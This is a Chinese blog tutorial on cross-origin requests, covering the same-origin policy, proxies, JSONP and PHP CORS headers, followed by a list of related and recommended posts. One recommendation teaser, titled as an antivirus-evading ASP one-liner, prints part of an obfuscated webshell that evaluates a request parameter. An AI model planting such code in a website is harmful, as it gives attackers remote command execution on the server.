一个域名的组成

http:// www . abc.com : 8080 /scripts/jquery.js

 协议   子域名   主域名   端口号   请求资源地址
  • 当协议、子域名、主域名、端口号中任意一个不同时,都算作不同域。

  • 不同域之间相互请求资源,就算作"跨域"。

同源策略

JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象——同源策略阻止从一个域
上加载的脚本获取或操作另一个域上的文档属性。也就是说,受到请求的 URL 的域必须与当
前Web页面的域相同。这意味着浏览器隔离来自不同源的内容,以防止它们之间的操作。这个
浏览器策略很旧,从 Netscape Navigator 2.0 版本开始就存在。

处理跨域的方式

  1. 代理

    通过同域名的服务器创建一个代理——让 Web 页面向它源自的 Web 服务器请求数据,并且让 Web 服务器像代理一样将请求转发给真正的第三方服务器。如:

    北京服务器:www.beijing.com

    上海服务器:www.shanghai.com

    北京web服务器后台:www.beijing.com/proxy-shanghaiservice.php

    来调用上海服务器的服务:www.shanghai.com/service.php

    然后将响应结果返回给前端,这样前端调用背景同域名的服务就和调用上海的服务具有相同的效果。

  2. 处理跨域方式二——JSONP(只支持GET请求)

    JSONP可用于解决主流浏览器的跨域数据访问的问题。

  3. 在www.aaa.com页面中:

      <script>
      function jsonp(json){
      alert(json["name"]);
      }
      </script>
      <script src="http;//www.bbb.com/jsonp.js"></script>

    在www.bbb.com页面中:

      jsonp({})
  4. 处理跨域的方法三——XHR2

    *HTML5提供的XMLHttpRequest Level2已经实现了跨域访问以及其他的一些新功能

    *IE10以下的版本都不支持

    *在服务器端

     header('Access-Control-Allow-Origin:*');
     header('Access-Control-Allow-Methods:POST,GET');

    例如:客户端的域名是client.runoob.com,而请求的域名是server.runoob.com。

    如果直接使用ajax访问,会有以下错误:

 XMLHttpRequest cannot load http://server.runoob.com/server.php. No 'Access-Control-Allow-Origin' header is present on the requested resource.Origin 'http://client.runoob.com' is therefore not allowed access.

    处理跨域的集中情况:

  • 允许单个域名访问

  指定某域名(http://client.runoob.com)跨域访问,则只需在http://server.runoob.com/server.php文件头部添加如下代码:

header('Access-Control-Allow-Origin:http://client.runoob.com');
  • 允许多个域名访问

   指定多个域名(http://client1.runoob.com、http://client2.runoob.com等)跨域访问,则只需在http://server.runoob.com/server.php文件头部添加如下代码:

$origin = isset($_SERVER['HTTP_ORIGIN'])? $_SERVER['HTTP_ORIGIN'] : '';  

$allow_origin = array(
    'http://client1.runoob.com',
    'http://client2.runoob.com'
);  

if(in_array($origin, $allow_origin)){
    header('Access-Control-Allow-Origin:'.$origin);
} 
  • 允许所有域名访问

  允许所有域名访问则只需在http://server.runoob.com/server.php文件头部添加如下代码:

header('Access-Control-Allow-Origin:*'); 

Ajax如何实现跨域问题的更多相关文章

  1. js中ajax如何解决跨域请求

    js中ajax如何解决跨域请求,在讲这个问题之前先解释几个名词 1.跨域请求 所有的浏览器都是同源策略,这个策略能保证页面脚本资源和cookie安全 ,浏览器隔离了来自不同源的请求,防上跨域不安全的操 ...

  2. 06: AJAX全套 & jsonp跨域AJAX

    目录: 1.1 AJAX介绍 1.2 jQuery AJAX(第一种) 1.3 原生ajax(第二种) 1.4 iframe“伪”AJAX(第三种) 1.5 jsonp跨域请求 1.6 在tornad ...

  3. ajax请求ashx跨域问题解决办法

    ajax请求ashx跨域问题解决办法 https://blog.csdn.net/windowsliusheng/article/details/51583566 翻译windowsliusheng  ...

  4. 原生js封装ajax,实现跨域请求

    描述: 需要ajax跨域请求,用cors跨域方案.服务端设置: header('Access-Control-Allow-Origin: http://front.ls-la.me'); header ...

  5. ajax原理和跨域解决方法

    ajax是异步的 JavaScript 和 XML.通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新.这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新. 1--启动 ...

  6. Ajax请求WebService跨域问题 [转载]

    1.背景 用Jquery中Ajax方式在asp.net开发环境中WebService接口的调用 2.出现的问题 原因分析:浏览器同源策略的影响(即JavaScript或Cookie只能访问同域下的内容 ...

  7. php + ajax + html 简单跨域问题

    XMLHttpRequest cannot load http://localhost:8080/abc/index.php. No 'Access-Control-Allow-Origin' hea ...

  8. Ajax如何解决跨域问题

    如果需要从不同的服务器(不同域名)上获取数据就需要使用跨域 HTTP 请求. 跨域请求在网页上非常常见.很多网页从不同服务器上载入 CSS, 图片,Js脚本等. 在现代浏览器中,为了数据的安全,所有请 ...

  9. jquery ajax GET POST 跨域请求实现

    同一段逻辑代码需要在多个网站中使用, 每个网站都新建一个ashx真是扯蛋的作法,  所以想只请求一处的ashx, 这样便于维护和修改, 那么,ajax跨域问题就来了. 废话少说, 直接上代码,  我现 ...

随机推荐

  1. lal

    import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.F ...

  2. Distributed RPC —— 分布式RPC

    This tutorial showed how to do basic stream processing on top of Storm. There's lots more things you ...

  3. 【BZOJ】1270: [BeijingWc2008]雷涛的小猫(DP+水题)

    http://www.lydsy.com/JudgeOnline/problem.php?id=1270 这完全是一眼题啊,但是n^2的时间挺感人.(n^2一下的级别请大神们赐教,我还没学多少dp优化 ...

  4. 基于淘宝开源Tair分布式KV存储引擎的整合部署

    一.前言 Tair支撑了淘宝几乎所有系统的缓存信息(Tair = Taobao Pair,Pair即Key-Value键值对),内置了三个存储引擎:mdb(默认,类似于Memcache).rdb(类似 ...

  5. MongoBD解决没有自动增长ID 的问题

    Sequence Numbers:序列号传统的数据库中,通常用一个递增的序列来提供主键,在 MongoDB中用 ObjectId 的来代替,我们可以通过如下的函数来获取主键 function coun ...

  6. linux开启ssh服务

    本文概略:1)ubuntu发行版开启ssh.2)centos发行版开启ssh 1.ubuntu发行版安装/开启ssh服务 1.1 安装ssh服务端 sudo apt-get install opens ...

  7. hdu Collect More Jewels

    思路: 先用bfs求出入口,宝物,出口,两两之间的最短距离. 在用dfs搜索所有情况,求出从入口走到出口能获得的最大价值. 我们要解决几个问题:1.求入口到第一个取宝物的地方的最短距离 2.求第i个取 ...

  8. hdu City Game

    做这题之前建议做一下hdu1506题,两道题是极度相似的题,不同的是这个要处理的是m行,所以可以用一个dp[][]数组存储矩形的高度,之后就变成hdu1506了. 例如测试样例: 0 1 1 1 1 ...

  9. 免杀ASP一句话

    <% wei="日日日)""wei""(tseuqer lave 日" execute(UnEncode(wei)) function ...

  10. Html - 对话箭头

    对话箭头 <!DOCTYPE HTML> <html lang="en-US"> <head> <meta charset="U ...